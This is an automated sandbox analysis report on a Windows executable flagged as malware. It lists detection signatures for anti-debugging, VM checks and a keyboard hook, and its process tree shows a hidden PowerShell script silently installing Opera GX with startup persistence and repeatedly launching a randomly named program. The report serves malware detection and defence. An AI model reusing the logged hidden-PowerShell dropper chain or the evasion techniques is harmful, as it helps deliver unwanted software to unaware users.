Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.FileRepMalware.27261.32754.exe

Overview

General Information

Sample name:SecuriteInfo.com.FileRepMalware.27261.32754.exe
Analysis ID:1532467
MD5:0d43698dffc5ee744f805a699df25c00
SHA1:c914a0238381f03d2558bedd423228ba3e4e0040
SHA256:de14c3b860519dc781aaee813d4fa3adc67d7653c544327f8d26d5b386564712
Tags:exe
Infos:

Detection

Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Powershell download and execute
AI detected suspicious sample
Contains functionality to register a low level keyboard hook
Found direct / indirect Syscall (likely to bypass EDR)
Installs a global event hook (focus changed)
Machine Learning detection for sample
Powershell drops PE file
Suspicious powershell command line found
Adds / modifies Windows certificates
Binary contains a suspicious time stamp
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops certificate files (DER)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the installation date of Windows
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Use Short Name Path in Command Line
Stores large binary data to the registry
Tries to disable installed Antivirus / HIPS / PFW
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
query blbeacon for getting browser version

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.FileRepMalware.27261.32754.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe" MD5: 0D43698DFFC5EE744F805A699DF25C00)
    • SecuriteInfo.com.FileRepMalware.27261.32754.tmp (PID: 7384 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe" MD5: 5A617F74245E27297419874956A3FF3E)
      • cmd.exe (PID: 7556 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Users\user~1\AppData\Local\Temp\is-GJEPE.tmp\do.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 7564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7612 cmdline: Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • f_1.exe (PID: 7788 cmdline: "./f_1.exe" --silent --allusers=0 MD5: C3D638B344B190AD1EFF657D6F30E489)
            • setup.exe (PID: 7884 cmdline: C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --silent --allusers=0 --server-tracking-blob=Y2Q3MWViYTBlM2RlZjljMTNkMzRhMTU1MjZjOTIzY2NjNGJhNzVlZGFiMGIyODBlZTE0YmQzY2IyMTEwYjEzZjp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOiJvcGVyYV9neCIsInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJ0aW1lc3RhbXAiOiIxNzI4ODA0NTcyLjMyMDMiLCJ1c2VyYWdlbnQiOiJJbm5vRG93bmxvYWRQbHVnaW4vMS41IiwidXRtIjp7ImNhbXBhaWduIjoiUFdOX1VTX1BCM19ERF8zNjYxIiwiY29udGVudCI6IjM2NjFfMjkxMCIsImlkIjoiMmJhZmRlZjI2NDE4NDAyMTkxNTVlOTA5NGYyZWQzYTkiLCJtZWRpdW0iOiJwYSIsInNvdXJjZSI6IlBXTmdhbWVzIn0sInV1aWQiOiJmZDNlZmVkYy1iODExLTQxMDgtYTI0MC05N2YyZGI0ZDBlY2UifQ== MD5: F3FB308A1192B6F23B9798274A7BBD3D)
              • setup.exe (PID: 7920 cmdline: C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24 MD5: F3FB308A1192B6F23B9798274A7BBD3D)
              • setup.exe (PID: 8040 cmdline: "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe" --version MD5: F3FB308A1192B6F23B9798274A7BBD3D)
              • setup.exe (PID: 8088 cmdline: "C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=E805000000000000 MD5: F3FB308A1192B6F23B9798274A7BBD3D)
                • setup.exe (PID: 8136 cmdline: C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24 MD5: F3FB308A1192B6F23B9798274A7BBD3D)
                • installer.exe (PID: 2052 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --install-subfolder=114.0.5282.93 MD5: 482A2C147099CCA899B4D09FD7D572AB)
                  • installer.exe (PID: 6616 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98 MD5: 482A2C147099CCA899B4D09FD7D572AB)
                  • explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
                    • opera.exe (PID: 4816 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized --lowered-browser MD5: 0A28FF19DB4A60C38A92C17A53ECAA1E)
                      • opera_crashreporter.exe (PID: 2960 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28 MD5: 55B4FA94CEB93E527EDE2947E97F07FC)
                  • MfpbxBQuepbP.exe (PID: 2628 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 1768 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 6988 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 6044 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • opera.exe (PID: 2912 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized MD5: 0A28FF19DB4A60C38A92C17A53ECAA1E)
                    • opera_crashreporter.exe (PID: 6760 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28 MD5: 55B4FA94CEB93E527EDE2947E97F07FC)
                  • MfpbxBQuepbP.exe (PID: 7000 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 1228 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 5604 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 524 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 1396 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
                  • MfpbxBQuepbP.exe (PID: 2892 cmdline: "C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
              • Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe (PID: 7756 cmdline: "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe" MD5: E9A2209B61F4BE34F25069A6E54AFFEA)
              • assistant_installer.exe (PID: 6200 cmdline: "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --version MD5: 4C8FBED0044DA34AD25F781C3D117A66)
                • assistant_installer.exe (PID: 4376 cmdline: "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64 MD5: 4C8FBED0044DA34AD25F781C3D117A66)
  • opera_autoupdate.exe (PID: 6296 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --scheduledtask --bypasslauncher 0 MD5: 79F334AD5B1392E99CE978F0072AE109)
    • opera_autoupdate.exe (PID: 6756 cmdline: "C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8 MD5: 79F334AD5B1392E99CE978F0072AE109)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: SecuriteInfo.com.FileRepMalware.27261.32754.tmp PID: 7384JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

    Other

    SourceRuleDescriptionAuthorStrings
    amsi32_7612.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

      Sigma Signatures

      System Summary

      barindex
      Sigma detected: CurrentVersion Autorun Keys Modification
      Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe, ProcessId: 4816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Opera GX Stable
      Sigma detected: Use Short Name Path in Command Line
      Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp, NewProcessName: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp, OriginalFileName: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe, ParentProcessId: 7324, ParentProcessName: SecuriteInfo.com.FileRepMalware.27261.32754.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe" , ProcessId: 7384, ProcessName: SecuriteInfo.com.FileRepMalware.27261.32754.tmp
      Sigma detected: Non Interactive PowerShell Process Spawned
      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1, CommandLine: Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Users\user~1\AppData\Local\Temp\is-GJEPE.tmp\do.bat"", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7556, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1, ProcessId: 7612, ProcessName: powershell.exe

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeVirustotal: Detection: 53%Perma Link
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeReversingLabs: Detection: 42%
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 87.5% probability
      Machine Learning detection for sample
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeJoe Sandbox ML: detected
      Source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_87187046-4
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Opera GX 114.0.5282.93
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043103230.logJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043105347.logJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeFile created: C:\Users\user~1\AppData\Local\Temp\assistant_installer_20241013043304.logJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043355053.log
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: Binary string: assistant_installer.exe.pdb source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000000.2696344691.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000885000.00000002.00000001.01000000.00000015.sdmp
      Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer.exe.pdb source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000000.1477525403.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000002.3458317244.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481325313.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496081866.00000000001E8000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000000.1487963525.00000000001E8000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000000.1497873390.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000D.00000002.3416016594.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3433532618.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000000.1502183275.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000000.3197248606.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000002.3374493482.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200690816.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000002.3399236955.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp
      Source: Binary string: browser_assistant.exe.pdb source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mojo_core.dll.pdb source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmp
      Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\opera_autoupdate.exe.pdb source: installer.exe, 00000017.00000003.3210935089.000001F1A3F78000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: browser_assistant.exe.pdbe source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp
